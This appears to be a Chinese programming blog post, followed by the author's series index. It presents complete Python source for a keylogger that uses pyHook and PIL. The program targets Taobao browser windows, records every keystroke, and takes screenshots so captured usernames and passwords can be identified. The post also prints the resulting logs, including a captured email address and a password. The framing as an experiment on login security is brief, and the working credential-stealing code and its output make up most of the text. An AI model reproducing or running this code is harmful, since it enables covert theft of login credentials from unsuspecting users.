在上一篇文章[《Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性》](http://blog.csdn.net/dyx1024/article/details/7314275)中,通過日志記錄了一些可能是用戶輸入的用戶名或密碼等信息,但如果用戶在網站上輸入的是其他信息,我們從中區分出敏感信息還是要花費時間來分析的,剛才想了想,將功能優化了一下。
### 一、思路:
1、在抓取到用戶輸入的信息后,除了記錄到日志中外,再給當前屏幕截一張圖,以日期命名;
2、通過對于圖片名與日志中ERROR級別對應的時間點,就可以判斷內容是不是敏感信息;
3、之所以采用抓圖和日志結合的方法,是因為密碼在界面上不會顯示出來,圖片中看不到,必須結合日志,呵呵。
### 二、實現:
~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythoncom
import pyHook
import time
import logging
import logging.config
from PIL import ImageGrab
#日志配置文件名
LOG_FILENAME = 'hook_logging.conf'
#日志語句提示信息
LOG_CONTENT_NAME = 'taobao_input_msg'
def log_init(log_config_filename, logname):
'''
Function:日志模塊初始化函數
Input:log_config_filename:日志配置文件名
lognmae:每條日志前的提示語句
Output: logger
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-02-13
'''
logging.config.fileConfig(log_config_filename)
logger = logging.getLogger(logname)
return logger
def onMouseEvent(event):
'''
Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息,
將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼
框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣,
所以此處要判斷是否通過鼠標切換了輸入窗口
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if len(MSG) != 0:
hook_logger.info('current page:%s' % event.WindowName)
hook_logger.error('information:%s' % MSG)
MSG = ''
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
pic.save('%s.png' % pic_name)
#保存成為以日期命名的圖片
return True
def onKeyboardEvent(event):
"處理鍵盤事件"
'''
Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入
因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見
的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來
結束輸入,此時要將信息記錄到日志中。
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if event.WindowName.decode('GBK').find(u"淘寶") != -1:
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))
if (event.Ascii == 9) or (event.Ascii == 13):
hook_logger.info('current page:%s' % event.WindowName)
hook_logger.error('information:%s' % MSG)
MSG = ''
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
#保存成為以日期命名的圖片
pic.save('%s.png' % pic_name)
return True
if __name__ == "__main__":
'''
Function:獲取TAOBAO賬號及密碼,增加抓圖功能
Input:NONE
Output: NONE
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
#打開日志文件
#初始化日志系統
hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME)
MSG = ''
#創建hook句柄
hm = pyHook.HookManager()
#監控鼠標
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#監控鍵盤
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循環獲取消息
pythoncom.PumpMessages()
~~~
### 三、測試:
1、記錄下來的日志內容:
~~~
[2012-03-03 13:03:52,530 taobao_input_msg]INFO: ascii:105(I)
[2012-03-03 13:03:53,342 taobao_input_msg]INFO: ascii:112(P)
[2012-03-03 13:03:53,640 taobao_input_msg]INFO: ascii:104(H)
[2012-03-03 13:03:54,608 taobao_input_msg]INFO: ascii:111(O)
[2012-03-03 13:04:01,655 taobao_input_msg]INFO: ascii:110(N)
[2012-03-03 13:04:01,921 taobao_input_msg]INFO: ascii:101(E)
[2012-03-03 13:04:03,937 taobao_input_msg]INFO: ascii:52(4)
[2012-03-03 13:04:04,358 taobao_input_msg]INFO: ascii:115(S)
[2012-03-03 13:04:08,640 taobao_input_msg]INFO: current page:淘寶網 - 淘!我喜歡 - Google Chrome
[2012-03-03 13:04:08,640 taobao_input_msg]ERROR: information:iphone4s
[2012-03-03 13:04:27,187 taobao_input_msg]INFO: ascii:115(S)
[2012-03-03 13:04:27,655 taobao_input_msg]INFO: ascii:111(O)
[2012-03-03 13:04:28,217 taobao_input_msg]INFO: ascii:99(C)
[2012-03-03 13:04:28,921 taobao_input_msg]INFO: ascii:114(R)
[2012-03-03 13:04:29,155 taobao_input_msg]INFO: ascii:97(A)
[2012-03-03 13:04:29,733 taobao_input_msg]INFO: ascii:116(T)
[2012-03-03 13:04:29,983 taobao_input_msg]INFO: ascii:101(E)
[2012-03-03 13:04:30,280 taobao_input_msg]INFO: ascii:115(S)
[2012-03-03 13:04:31,828 taobao_input_msg]INFO: ascii:64(2)
[2012-03-03 13:04:33,515 taobao_input_msg]INFO: ascii:103(G)
[2012-03-03 13:04:34,187 taobao_input_msg]INFO: ascii:109(M)
[2012-03-03 13:04:34,265 taobao_input_msg]INFO: ascii:97(A)
[2012-03-03 13:04:34,421 taobao_input_msg]INFO: ascii:105(I)
[2012-03-03 13:04:34,592 taobao_input_msg]INFO: ascii:108(L)
[2012-03-03 13:04:35,030 taobao_input_msg]INFO: ascii:46(Oem_Period)
[2012-03-03 13:04:35,217 taobao_input_msg]INFO: ascii:99(C)
[2012-03-03 13:04:35,342 taobao_input_msg]INFO: ascii:111(O)
[2012-03-03 13:04:35,515 taobao_input_msg]INFO: ascii:109(M)
[2012-03-03 13:04:37,812 taobao_input_msg]INFO: current page:None
[2012-03-03 13:04:37,812 taobao_input_msg]ERROR: information:socrates@gmail.com
[2012-03-03 13:04:43,905 taobao_input_msg]INFO: ascii:57(9)
[2012-03-03 13:04:44,171 taobao_input_msg]INFO: ascii:56(8)
[2012-03-03 13:04:44,467 taobao_input_msg]INFO: ascii:55(7)
[2012-03-03 13:04:44,780 taobao_input_msg]INFO: ascii:54(6)
[2012-03-03 13:04:45,108 taobao_input_msg]INFO: ascii:53(5)
[2012-03-03 13:04:45,437 taobao_input_msg]INFO: ascii:52(4)
[2012-03-03 13:04:45,796 taobao_input_msg]INFO: ascii:51(3)
[2012-03-03 13:04:46,437 taobao_input_msg]INFO: ascii:50(2)
[2012-03-03 13:04:47,046 taobao_input_msg]INFO: ascii:49(1)
[2012-03-03 13:04:52,375 taobao_input_msg]INFO: ascii:113(Q)
[2012-03-03 13:04:52,765 taobao_input_msg]INFO: ascii:119(W)
[2012-03-03 13:04:53,030 taobao_input_msg]INFO: ascii:101(E)
[2012-03-03 13:04:53,328 taobao_input_msg]INFO: ascii:114(R)
[2012-03-03 13:04:53,687 taobao_input_msg]INFO: ascii:116(T)
[2012-03-03 13:04:56,640 taobao_input_msg]INFO: current page:None
[2012-03-03 13:04:56,640 taobao_input_msg]ERROR: information:987654321qwert
[2012-03-03 13:04:57,703 taobao_input_msg]INFO: ascii:106(J)
[2012-03-03 13:04:58,155 taobao_input_msg]INFO: ascii:116(T)
[2012-03-03 13:04:59,125 taobao_input_msg]INFO: ascii:54(6)
[2012-03-03 13:05:00,328 taobao_input_msg]INFO: ascii:121(Y)
[2012-03-03 13:05:02,578 taobao_input_msg]INFO: current page:None
[2012-03-03 13:05:02,578 taobao_input_msg]ERROR: information:jt6y
~~~
2、過濾出ERROR級別日志信息,如下:
~~~
[2012-03-03 13:04:08,640 taobao_input_msg]ERROR: information:iphone4s
[2012-03-03 13:04:37,812 taobao_input_msg]ERROR: information:socrates@gmail.com
[2012-03-03 13:04:56,640 taobao_input_msg]ERROR: information:987654321qwert
[2012-03-03 13:05:02,578 taobao_input_msg]ERROR: information:jt6y
~~~
3、查看生成的圖片:

可以看出,圖片名稱中的時間和日志中的時間一一對應,這樣就可查看每條日志打印時當前屏幕的狀態。
具體看一下每條日志對應的圖片:
a.?[2012-03-03 13:04:08,640 ?taobao_input_msg]ERROR: ?information:iphone4s

b.?[2012-03-03 13:04:37,812 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com

c.?[2012-03-03 13:04:56,640 ?taobao_input_msg]ERROR: ?information:987654321qwert ?(原來這行才是密碼)

d [2012-03-03 13:05:02,578 ?taobao_input_msg]ERROR: ?information:jt6y

- 前言
- Python:實現文件歸檔
- Pyhon:按行輸出文件內容
- Python:讀文件和寫文件
- Python:實現一個小算法
- Python:通過命令行發送新浪微博
- Python:通過攝像頭實現的監控功能
- Python:通過攝像頭抓取圖像并自動上傳至新浪微博
- Python:簡單的攝像頭程序實現
- Python:日志模塊logging的應用
- Python:操作嵌入式數據庫SQLite
- Python:將句子中的單詞全部倒排過來,但單詞的字母順序不變
- Python:語音處理,實現在線朗讀RFC文檔或本地文本文件
- Python:通過計算階乘來學習lambda和reduce這兩個函數的使用
- Python:通過執行100萬次打印來比較C和python的性能,以及用C和python結合來解決性能問題的方法
- Python:使用matplotlib繪制圖表
- Python:使用pycha快速繪制辦公常用圖(餅圖、垂直直方圖、水平直方圖、散點圖等七種圖形)
- Python:使用pycha快速繪制辦公常用圖二(使用樣式定制個性化圖表)
- Python:監控鍵盤輸入、鼠標操作,并將捕獲到的信息記錄到文件中
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性(二)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(一)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(二)
- Python:通過自定義系統級快捷鍵來控制程序運行
- Python:通過自定義系統級快捷鍵來控制程序開始或停止記錄日志(使用小技巧解決一個貌似無解的問題)
- Python:一個多功能的抓圖工具開發(附源碼)
- Python:程序發布方式簡介一(打包為可執行文件EXE)
- Python:新浪微博應用開發簡介(認證及授權部分)
- Python:程序最小化到托盤功能實現
- Python:實用抓圖工具開發介紹(含需求分析、設計、編碼、單元測試、打包、系統測試、發布各環節)
- Python:桌面氣泡提示功能實現
- Python:未來三個月的python學習計劃
- Python:pygame模塊及SDL庫簡介
- Python:獲取新浪微博用戶的收聽列表和粉絲列表
- Python:pygame游戲編程之旅一(Hello World)
- Python:pygame游戲編程之旅二(自由移動的小球)
- Python:pygame游戲編程之旅三(玩家控制的小球)
- Python:pygame游戲編程之旅四(游戲界面文字處理)
- Python:pygame游戲編程之旅五(游戲界面文字處理詳解)
- Python:pygame游戲編程之旅六(游戲中的聲音處理)
- Python:pygame游戲編程之旅七(pygame基礎知識講解1)
- Python:編程“八榮八恥”之我見
- Python:腳本的幾種執行方式
- wxPython:簡單的wxPython程序
- wxPython:簡單的wxPython程序的另一種寫法
- wxPython:應用程序對象介紹
- wxPython:輸出重定向
- wxPython:關閉wxPython程序
- wxPython:Frame類介紹
- wxPython:面板Panel的使用
- wxPython:工具欄、狀態欄、菜單實現
- wxPython:消息對話框MessageDialog
- wxPython:文本對話框TextEntryDialog
- wxPython:列表選擇框SingleChoiceDialog
- wxPython:事件處理介紹一
- wxPython:事件處理介紹二
- wxPython: 簡單的繪圖例子
- wxPython:狀態欄介紹
- wxPython:菜單介紹
- wxPython:文件對話框wx.FileDialog
- wxPython:顏色選擇對話框wx.ColourDialog
- wxPython:布局管理器sizer介紹
- wxPython:啟動畫面SplashScreen介紹
- wxPython:繪畫按鈕BitmapButton介紹
- wxPython:進度條Gauge介紹
- Python: 發送新浪微博(使用oauth2)
- Python:讀取新浪微博收聽列表
- Python:DNS客戶端實現